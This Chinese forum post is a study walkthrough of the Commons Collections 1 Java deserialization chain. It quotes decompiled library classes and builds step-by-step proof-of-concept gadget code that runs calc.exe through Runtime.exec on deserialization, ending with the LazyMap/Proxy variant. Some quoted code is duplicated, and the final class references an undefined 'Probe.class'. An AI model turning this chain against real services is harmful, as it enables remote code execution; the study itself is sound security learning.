java反序列化链学习——Common Collections 1

鼠扑  论坛元老 | 2025-3-17 05:40:40 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1059|帖子 1059|积分 3177

Common Collections 介绍

Apache Commons 是对 JDK 的拓展,包含了很多开源的⼯具,⽤于办理平常编程经常会遇到的题目。Apache Commons 当中有⼀个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。cc链的利⽤就是以Apache Commons Collections作为链条的核⼼,来构造⼀个终极可以大概进⾏rce的gadget。
核心demo

  1. package org.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.util.HashMap;
  8. import java.util.Map;
  9. public class first {
  10.     public static void main(String[] args) throws Exception {
  11.         Transformer[] transformers = new Transformer[]{
  12.                 new ConstantTransformer(Runtime.getRuntime()),
  13.                 new InvokerTransformer("exec", new Class[]{String.class},
  14.                         new Object[]{"C:\\Windows\\System32\\calc.exe"})
  15.         };
  16.         Transformer transformerChain = new ChainedTransformer(transformers);
  17.         Map innerMap = new HashMap();
  18.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  19.         outerMap.put("test", "xxxx");
  20.     }
  21. }
复制代码

TransformedMap

  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5. package org.apache.commons.collections.map;
  6. import java.io.IOException;
  7. import java.io.ObjectInputStream;
  8. import java.io.ObjectOutputStream;
  9. import java.io.Serializable;
  10. import java.util.Iterator;
  11. import java.util.Map;
  12. import org.apache.commons.collections.Transformer;
  13. public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
  14.     private static final long serialVersionUID = 7023152376788900464L;
  15.     protected final Transformer keyTransformer;
  16.     protected final Transformer valueTransformer;
  17.     public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  18.         return new TransformedMap(map, keyTransformer, valueTransformer);
  19.     }
  20.     public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  21.         TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
  22.         if (map.size() > 0) {
  23.             Map transformed = decorated.transformMap(map);
  24.             decorated.clear();
  25.             decorated.getMap().putAll(transformed);
  26.         }
  27.         return decorated;
  28.     }
  29.     protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  30.         super(map);
  31.         this.keyTransformer = keyTransformer;
  32.         this.valueTransformer = valueTransformer;
  33.     }
  34.     private void writeObject(ObjectOutputStream out) throws IOException {
  35.         out.defaultWriteObject();
  36.         out.writeObject(this.map);
  37.     }
  38.     private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  39.         in.defaultReadObject();
  40.         this.map = (Map)in.readObject();
  41.     }
  42.     protected Object transformKey(Object object) {
  43.         return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
  44.     }
  45.     protected Object transformValue(Object object) {
  46.         return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
  47.     }
  48.     protected Map transformMap(Map map) {
  49.         if (map.isEmpty()) {
  50.             return map;
  51.         } else {
  52.             Map result = new LinkedMap(map.size());
  53.             Iterator it = map.entrySet().iterator();
  54.             while(it.hasNext()) {
  55.                 Map.Entry entry = (Map.Entry)it.next();
  56.                 result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
  57.             }
  58.             return result;
  59.         }
  60.     }
  61.     protected Object checkSetValue(Object value) {
  62.         return this.valueTransformer.transform(value);
  63.     }
  64.     protected boolean isSetValueChecking() {
  65.         return this.valueTransformer != null;
  66.     }
  67.     public Object put(Object key, Object value) {
  68.         key = this.transformKey(key);
  69.         value = this.transformValue(value);
  70.         return this.getMap().put(key, value);
  71.     }
  72.     public void putAll(Map mapToCopy) {
  73.         mapToCopy = this.transformMap(mapToCopy);
  74.         this.getMap().putAll(mapToCopy);
  75.     }
  76. }
  77. 当我们调用transformedMap.put时
  78.     public Object put(Object key, Object value) {
  79.         key = this.transformKey(key);
  80.         value = this.transformValue(value);
  81.         return this.getMap().put(key, value);
  82.     }
  83. 对于进⼊map的新元素(key,value),会利⽤keyTransformer对key进⾏处理,并且利⽤
  84. valueTransformer对value进⾏处理。继续跟一下这两个方法
  85.     protected Object transformKey(Object object) {
  86.         return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
  87.     }
  88.     protected Object transformValue(Object object) {
  89.         return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
  90.     }
复制代码
终极会调用Transformer对象中的.transform方法
Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
TransformedMap在转换Map的新元素时,就会调⽤Transformer对象的transform⽅法,这个过程就类似在调⽤⼀个“回调参数”。那么,Transformer只是⼀个接⼝,一定要有实现该接⼝的类,我们用到的个类:ConstantTransformer、InvokerTransformer 、ChainedTransformer
ConstantTransformer

先看看代码
  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5. package org.apache.commons.collections.functors;
  6. import java.io.Serializable;
  7. import org.apache.commons.collections.Transformer;
  8. public class ConstantTransformer implements Transformer, Serializable {
  9.     private static final long serialVersionUID = 6374440726369055124L;
  10.     public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
  11.     private final Object iConstant;
  12.     public static Transformer getInstance(Object constantToReturn) {
  13.         return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
  14.     }
  15.     public ConstantTransformer(Object constantToReturn) {
  16.         this.iConstant = constantToReturn;
  17.     }
  18.     public Object transform(Object input) {
  19.         return this.iConstant;
  20.     }
  21.     public Object getConstant() {
  22.         return this.iConstant;
  23.     }
  24. }
复制代码
它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回。
InvokerTransformer

代码:
  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5. package org.apache.commons.collections.functors;
  6. import java.io.Serializable;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.lang.reflect.Method;
  9. import org.apache.commons.collections.FunctorException;
  10. import org.apache.commons.collections.Transformer;
  11. public class InvokerTransformer implements Transformer, Serializable {
  12.     private static final long serialVersionUID = -8653385846894047688L;
  13.     private final String iMethodName;
  14.     private final Class[] iParamTypes;
  15.     private final Object[] iArgs;
  16.     public static Transformer getInstance(String methodName) {
  17.         if (methodName == null) {
  18.             throw new IllegalArgumentException("The method to invoke must not be null");
  19.         } else {
  20.             return new InvokerTransformer(methodName);
  21.         }
  22.     }
  23.     public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  24.         if (methodName == null) {
  25.             throw new IllegalArgumentException("The method to invoke must not be null");
  26.         } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
  27.             throw new IllegalArgumentException("The parameter types must match the arguments");
  28.         } else if (paramTypes != null && paramTypes.length != 0) {
  29.             paramTypes = (Class[])((Class[])paramTypes.clone());
  30.             args = (Object[])((Object[])args.clone());
  31.             return new InvokerTransformer(methodName, paramTypes, args);
  32.         } else {
  33.             return new InvokerTransformer(methodName);
  34.         }
  35.     }
  36.     private InvokerTransformer(String methodName) {
  37.         this.iMethodName = methodName;
  38.         this.iParamTypes = null;
  39.         this.iArgs = null;
  40.     }
  41.     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  42.         this.iMethodName = methodName;
  43.         this.iParamTypes = paramTypes;
  44.         this.iArgs = args;
  45.     }
  46.     public Object transform(Object input) {
  47.         if (input == null) {
  48.             return null;
  49.         } else {
  50.             try {
  51.                 Class cls = input.getClass();
  52.                 Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  53.                 return method.invoke(input, this.iArgs);
  54.             } catch (NoSuchMethodException var4) {
  55.                 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
  56.             } catch (IllegalAccessException var5) {
  57.                 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  58.             } catch (InvocationTargetException var6) {
  59.                 InvocationTargetException ex = var6;
  60.                 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  61.             }
  62.         }
  63.     }
  64. }
复制代码
这个类的transform方法可以执行恣意方法,第一个参数是方法名,第二个参数是参数列表的参数范例,第三个参数是传给这个函数的参数列表使用下面这几行代码,通过反射的方式来执行恣意代码,达到rce的目标
  1. Class cls = input.getClass();
  2. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  3. return method.invoke(input, this.iArgs);
复制代码
ChainedTransformer

它的作⽤是将内部的多个Transformer串在⼀起。
  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5. package org.apache.commons.collections.functors;
  6. import java.io.Serializable;
  7. import java.util.Collection;
  8. import java.util.Iterator;
  9. import org.apache.commons.collections.Transformer;
  10. public class ChainedTransformer implements Transformer, Serializable {
  11.     private static final long serialVersionUID = 3514945074733160196L;
  12.     private final Transformer[] iTransformers;
  13.     public static Transformer getInstance(Transformer[] transformers) {
  14.         FunctorUtils.validate(transformers);
  15.         if (transformers.length == 0) {
  16.             return NOPTransformer.INSTANCE;
  17.         } else {
  18.             transformers = FunctorUtils.copy(transformers);
  19.             return new ChainedTransformer(transformers);
  20.         }
  21.     }
  22.     public static Transformer getInstance(Collection transformers) {
  23.         if (transformers == null) {
  24.             throw new IllegalArgumentException("Transformer collection must not be null");
  25.         } else if (transformers.size() == 0) {
  26.             return NOPTransformer.INSTANCE;
  27.         } else {
  28.             Transformer[] cmds = new Transformer[transformers.size()];
  29.             int i = 0;
  30.             for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {
  31.             }
  32.             FunctorUtils.validate(cmds);
  33.             return new ChainedTransformer(cmds);
  34.         }
  35.     }
  36.     public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
  37.         if (transformer1 != null && transformer2 != null) {
  38.             Transformer[] transformers = new Transformer[]{transformer1, transformer2};
  39.             return new ChainedTransformer(transformers);
  40.         } else {
  41.             throw new IllegalArgumentException("Transformers must not be null");
  42.         }
  43.     }
  44.     public ChainedTransformer(Transformer[] transformers) {
  45.         this.iTransformers = transformers;
  46.     }
  47.     public Object transform(Object object) {
  48.         for(int i = 0; i < this.iTransformers.length; ++i) {
  49.             object = this.iTransformers[i].transform(object);
  50.         }
  51.         return object;
  52.     }
  53.     public Transformer[] getTransformers() {
  54.         return this.iTransformers;
  55.     }
  56. }
复制代码
我们看到它的初始化输⼊是⼀个Transformer数组,然后通过循环调⽤的⽅式来讲全部的Transformer都执⾏了⼀遍,并且每⼀个Transformer的输⼊是上⼀个Transformer执⾏了transform⽅法的结果。实现链式调用。
对demo的理解

我们创建了一个ChainedTransformer,它是一个链式调用,当被调用时,会按次序执行两个Transformer:先调用ConstantTransformer,返回了一个Runtime对象,然后这个对象被当作参数,传入InvokerTransformer的transformer方法,用来执行Runtime的exec方法,参数是计算器的地址,实现rce
现在只是创建了一个Transformer,并没有被调用,我们必要将Transformer绑定到TransformerMap,并且执行put(被添加新元素)时才会被调用。
Demo1

上方demo中我们手动给TransformerMap添加元素,但现实场景中没人帮我们执行该操作,我们必要找一个类,它的readObject方法中存在给Map增加新元素的操作这个类就是:sun.reflect.annotation.AnnotationInvocationHandler,这是⼀个java的原⽣类它的构造函数:
  1. AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
  2.     this.type = type;
  3.     this.memberValues = memberValues;
  4. }
  5. readObject:
  6. private void readObject(java.io.ObjectInputStream s)
  7.         throws java.io.IOException, ClassNotFoundException {
  8.     s.defaultReadObject();
  9.     // Check to make sure that types have not evolved incompatibly
  10.     AnnotationType annotationType = null;
  11.     try {
  12.         annotationType = AnnotationType.getInstance(type);
  13.     } catch (IllegalArgumentException e) {
  14.         // Class is no longer an annotation type; all bets are off
  15.         return;
  16.     }
  17.     // 获取注解成员类型
  18.     Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  19.     // 遍历 memberValues 并检查类型是否匹配
  20.     for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  21.         String name = memberValue.getKey();
  22.         Class<?> memberType = memberTypes.get(name);
  23.         if (memberType != null) { // 如果成员仍然存在
  24.             Object value = memberValue.getValue();
  25.             // 检查值是否为成员类型或其异常代理
  26.             if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
  27.                 // 触发类型不匹配异常代理
  28.                 memberValue.setValue(
  29.                         new AnnotationTypeMismatchExceptionProxy(
  30.                                 value.getClass() + "[" + value + "]"
  31.                         ).setMember(
  32.                                 annotationType.members().get(name)
  33.                         )
  34.                 );
  35.             }
  36.         }
  37.     }
  38. }
复制代码
我们只要将memberValues设置成我们构造的TransformerMap对象,然后会触发memberValue.setValue,进而触发我们构造的Transformer
sun.reflect.annotation.AnnotationInvocationHandler对象是一个内部类,我们没办法直接New出来,可以使用反射的方式
garget1:
  1. package org.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.*;
  8. import java.lang.annotation.Retention;
  9. import java.lang.reflect.Constructor;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CommonCollections11 {
  13.     public static void main(String[] args) throws Exception {
  14.         // FileOutputStream fout = new FileOutputStream("user.bin");
  15.         // fout.write(serializeData);
  16.         // fout.close();
  17.         byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
  18.         unserialize(evilData);
  19.     }
  20.     // 将对象序列化成字节流
  21.     public static byte[] serialize(final Object obj) throws Exception {
  22.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
  23.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
  24.         objOut.writeObject(obj);
  25.         return btout.toByteArray();
  26.     }
  27.     // 将字节流反序列化成对象
  28.     public static Object unserialize(final byte[] serialized) throws Exception {
  29.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
  30.         ObjectInputStream objIn = new ObjectInputStream(btin);
  31.         return objIn.readObject();
  32.     }
  33.     static Object cc1(String args) throws Exception {
  34.         Transformer[] transformers = new Transformer[]{
  35.                 new ConstantTransformer(Runtime.getRuntime()), // 这一步会在序列化前生成一个Runtime对象
  36.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
  37.         };
  38.         Transformer transformerChain = new ChainedTransformer(transformers);
  39.         Map innerMap = new HashMap();
  40.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  41.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
  42.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
  43.         constructor.setAccessible(true); // 去掉Java语法安全检查
  44.         Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个AnnotationInvocationHandler对象
  45.         return obj;
  46.     }
  47. }
复制代码
它在编译的时候发生错误

Demo2

出现错误是因为,java.lang.Runtime⽆法序列化
Java中不是全部对象都⽀持序列化,待序列化的对象和全部它使⽤的内部属性对象,必须都
实现了 java.io.Serializable 接⼝。⽽我们最早传给ConstantTransformer的 是
Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接⼝的,所以不答应被序
列化。
还是通过反射的方式来办理
  1. Method f = Runtime.class.getMethod("getRuntime");
  2. Runtime r = (Runtime) f.invoke(null);
  3. r.exec("C:\\Windows\\System32\\calc.exe");
复制代码
先通过Runtime.class构造出⼀个Runtime的对象(对象范例为Class),然后执⾏该对象的getMethod⽅法,参数是"getRuntime",这样就会得到⼀个反射的Method对象。
然后执⾏这个Runtime对象的Invoke⽅法,这样就会在运⾏时得到⼀个java.lang.Runtime对象(序列化时没有),终极执⾏exec⽅法,参数是要rce执⾏的下令。
然后,我们构造出⼀个新的poc
  1. package org.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.*;
  8. import java.lang.annotation.Retention;
  9. import java.lang.reflect.Constructor;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CommonCollections12 {
  13.     public static void main(String[] args) throws Exception {
  14.         byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
  15.         unserialize(evilData);
  16.     }
  17.     // 将对象序列化成字节流
  18.     public static byte[] serialize(final Object obj) throws Exception {
  19.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
  20.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
  21.         objOut.writeObject(obj);
  22.         return btout.toByteArray();
  23.     }
  24.     // 将字节流反序列化成对象
  25.     public static Object unserialize(final byte[] serialized) throws Exception {
  26.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
  27.         ObjectInputStream objIn = new ObjectInputStream(btin);
  28.         return objIn.readObject();
  29.     }
  30.     static Object cc1(String args) throws Exception {
  31.         // 构造 Transformer 链
  32.         Transformer[] transformers = new Transformer[]{
  33.                 new ConstantTransformer(Runtime.class),
  34.                 new InvokerTransformer(
  35.                         "getMethod",
  36.                         new Class[]{String.class, Class[].class},
  37.                         new Object[]{"getRuntime", new Class[0]}
  38.                 ),
  39.                 new InvokerTransformer(
  40.                         "invoke",
  41.                         new Class[]{Object.class, Object[].class},
  42.                         new Object[]{null, new Object[0]}
  43.                 ),
  44.                 new InvokerTransformer(
  45.                         "exec",
  46.                         new Class[]{String.class},
  47.                         new Object[]{args}
  48.                 )
  49.         };
  50.         Transformer transformerChain = new ChainedTransformer(transformers);
  51.         // 使用 TransformedMap 装饰器绑定转换链
  52.         Map innerMap = new HashMap();
  53.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  54.         // 反射构造 AnnotationInvocationHandler 对象
  55.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  56.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  57.         constructor.setAccessible(true); // 绕过访问检查
  58.         return constructor.newInstance(Retention.class, outerMap);
  59.     }
  60. }
复制代码
编译没题目,但是没有弹计算机
Demo3

AnnotationInvocationHandler的代码
  1. private void readObject(java.io.ObjectInputStream s)
  2.     throws java.io.IOException, ClassNotFoundException {
  3.     s.defaultReadObject();
  4.     // Check to make sure that types have not evolved incompatibly
  5.     AnnotationType annotationType = null;
  6.     try {
  7.         annotationType = AnnotationType.getInstance(type);
  8.     } catch (IllegalArgumentException e) {
  9.         // Class is no longer an annotation type; all bets are off
  10.         return;
  11.     }
  12.     Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  13.     for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // memberValue来自于memberValues的遍历迭代
  14.         String name = memberValue.getKey();
  15.         Class<?> memberType = memberTypes.get(name);
  16.         if (memberType != null) { // i.e. member still exists
  17.             Object value = memberValue.getValue();
  18.             if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
  19.                 memberValue.setValue( // 目的是触发这里
  20.                     new AnnotationTypeMismatchExceptionProxy(
  21.                         value.getClass() + "[" + value + "]"
  22.                     ).setMember(annotationType.members().get(name))
  23.                 );
  24.             }
  25.         }
  26.     }
  27. }
复制代码
如果memberValues是⼀个空的map,那么这个for的遍历就不会执⾏,所以我们需
要预先给Map进⾏值的插⼊。
  1. String name = memberValue.getKey(); //Map可控,所以key可控
  2. Class<?> memberType = memberTypes.get(name);
  3. if (memberType != null) { //!要求在memberType中也有这个key
  4. ...
  5. }
复制代码
  1. memberTypes:
  2. AnnotationType annotationType = null;
  3. try {
  4.     annotationType = AnnotationType.getInstance(type);
  5. } catch (IllegalArgumentException e) {
  6.     // Class is no longer an annotation type; all bets are off
  7.     return;
  8. }
  9. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  10. public class AnnotationType {
  11.     /*
  12.     ...
  13.     ...
  14.     ...
  15.     */
  16.     public static synchronized AnnotationType getInstance(
  17.         Class<? extends Annotation> annotationClass) {
  18.         AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess()
  19.             .getAnnotationType(annotationClass);
  20.         if (result == null)
  21.             result = new AnnotationType(annotationClass);
  22.         return result;
  23.     }
  24.     private AnnotationType(final Class<? extends Annotation> annotationClass) {
  25.         if (!annotationClass.isAnnotation())
  26.             throw new IllegalArgumentException("Not an annotation type");
  27.         Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
  28.             public Method[] run() {
  29.                 // Initialize memberTypes and defaultValues
  30.                 return annotationClass.getDeclaredMethods();
  31.             }
  32.         });
  33.         for (Method method : methods) {
  34.             if (method.getParameterTypes().length != 0)
  35.                 throw new IllegalArgumentException(method + " has params");
  36.             String name = method.getName();
  37.             Class<?> type = method.getReturnType();
  38.             memberTypes.put(name, invocationHandlerReturnType(type));
  39.             members.put(name, method);
  40.         Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
  41.             public Method[] run() {
  42.                 // Initialize memberTypes and defaultValues
  43.                 return annotationClass.getDeclaredMethods();
  44.             }
  45.         });
  46.         for (Method method : methods) {
  47.             if (method.getParameterTypes().length != 0)
  48.                 throw new IllegalArgumentException(method + " has params");
  49.             String name = method.getName();
  50.             Class<?> type = method.getReturnType();
  51.             memberTypes.put(name, invocationHandlerReturnType(type));
  52.             members.put(name, method);
  53.             Object defaultValue = method.getDefaultValue();
  54.             if (defaultValue != null)
  55.                 memberDefaults.put(name, defaultValue);
  56.             members.put(name, method);
  57.         }
  58.         sun.misc.SharedSecrets.getJavaLangAccess()
  59.             .setAnnotationType(annotationClass, this);
  60.         if (annotationClass != Retention.class && annotationClass != Inherited.class) {
  61.             Retention ret = annotationClass.getAnnotation(Retention.class);
  62.             retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
  63.             inherited = annotationClass.isAnnotationPresent(Inherited.class);
  64.         }
  65.     }
  66. }
复制代码
就是检查输⼊的参数,是不是⼀个注解类,如果不是就会报错。
所以我们这⾥要求第⼀个参数必须是⼀个注解类。
annotationClass.isAnnotation()
这⾥会通过反射的⽅式,获取该注解类全部的⽅法
然后再将全部的⽅法名塞给memberTypes这个Map
⽽我们这⾥要获取的就是memberTypes
  1.         Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
  2.             public Method[] run() {
  3.                 // Initialize memberTypes and defaultValues
  4.                 return annotationClass.getDeclaredMethods();
  5.             }
  6.         });
  7.         for (Method method : methods) {
  8.             if (method.getParameterTypes().length != 0)
  9.                 throw new IllegalArgumentException(method + " has params");
  10.             String name = method.getName();
  11.             Class<?> type = method.getReturnType();
  12.             memberTypes.put(name, invocationHandlerReturnType(type));
  13.             members.put(name, method);
复制代码
对于sun.reflect.annotation.AnnotationInvocationHandler这个类的构造函数,我们必要找到⼀个参数type,它必须满⾜
  1. 1.是⼀个类对象
  2. 2.该类是⼀个注解类
  3. 3.该类⾄少存在⼀个⽅法
复制代码
终极我们找到了Retention类,他是⼀个注解类,他有⼀个⽅法,叫做value.
Demo3:
这个版本可以弹计算器
  1. package org.example;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.*;
  8. import java.lang.annotation.Retention;
  9. import java.lang.reflect.Constructor;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CommonCollections13 {
  13.     public static void main(String[] args) throws Exception {
  14.         // FileOutputStream fout = new FileOutputStream("user.bin");
  15.         // fout.write(serializeData);
  16.         // fout.close();
  17.         byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
  18.         unserialize(evilData);
  19.     }
  20.     // 将对象序列化成字节流
  21.     public static byte[] serialize(final Object obj) throws Exception {
  22.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
  23.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
  24.         objOut.writeObject(obj);
  25.         return btout.toByteArray();
  26.     }
  27.     // 将字节流反序列化成对象
  28.     public static Object unserialize(final byte[] serialized) throws Exception {
  29.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
  30.         ObjectInputStream objIn = new ObjectInputStream(btin);
  31.         return objIn.readObject();
  32.     }
  33.     static Object cc1(String args) throws Exception {
  34.         Transformer[] transformers = new Transformer[]{
  35.                 new ConstantTransformer(Runtime.class),
  36.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  37.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  38.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
  39.         };
  40.         Transformer transformerChain = new ChainedTransformer(transformers);
  41.         Map innerMap = new HashMap();
  42.         innerMap.put("value", "XXXXXXX");
  43.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  44.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
  45.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
  46.         constructor.setAccessible(true); // 去掉 Java 语法安全检查
  47.         Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个 AnnotationInvocationHandler 对象
  48.         return obj;
  49.     }
  50. }
复制代码
Demo4

ysoserial⾥⾯的cc1链,没有使用TransforMap,而是使用了LazyMap,LazyMap在添加元素的时候不会执⾏transform的逻辑,⽽是在get的时候,有⼀个transform的动作。
在invoke⽅法⾥⾯,是有get的,如何从readObject跳到invoke呢?ysoserial的作者想到的是利⽤java的对象代理。
在java中,如果我们调⽤了别⼈的sdk,⼜觉得别⼈的sdk⾥⾯的某个代码写得欠好,java不建
议直接修改sdk代码,⽽是提供了⼀种叫做代理的设计模式。
终极garget:
  1. public class CommonCollections1 {
  2.     public static void main(String[] args) throws Exception {
  3.         // FileOutputStream fout = new FileOutputStream("user.bin");
  4.         // fout.write(serializeData);
  5.         // fout.close();
  6.         byte[] evilData = serialize(cc1("C:\\\\Windows\\\\System32\\\\calc.exe"));
  7.         unserialize(evilData);
  8.     }
  9.     // 将对象序列化成字节流
  10.     public static byte[] serialize(final Object obj) throws Exception {
  11.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
  12.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
  13.         objOut.writeObject(obj);
  14.         return btout.toByteArray();
  15.     }
  16.     // 将字节流反序列化成对象
  17.     public static Object unserialize(final byte[] serialized) throws Exception {
  18.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
  19.         ObjectInputStream objIn = new ObjectInputStream(btin);
  20.         return objIn.readObject();
  21.     }
  22.     static Object cc1(String args) throws Exception {
  23.         Transformer[] transformers = new Transformer[] {
  24.                 new ConstantTransformer(Runtime.class),
  25.                 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  26.                 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
  27.                 new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { args })
  28.         };
  29.         Transformer transformerChain = new ChainedTransformer(transformers);
  30.         Map innerMap = new HashMap();
  31.         innerMap.put("hidden", "fuckdada");
  32.         Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  33.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  34.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  35.         constructor.setAccessible(true);
  36.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Probe.class, outerMap);
  37.         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);
  38.         Object obj = constructor.newInstance(Probe.class, proxyMap);
  39.         return obj;
  40.     }
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

鼠扑

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表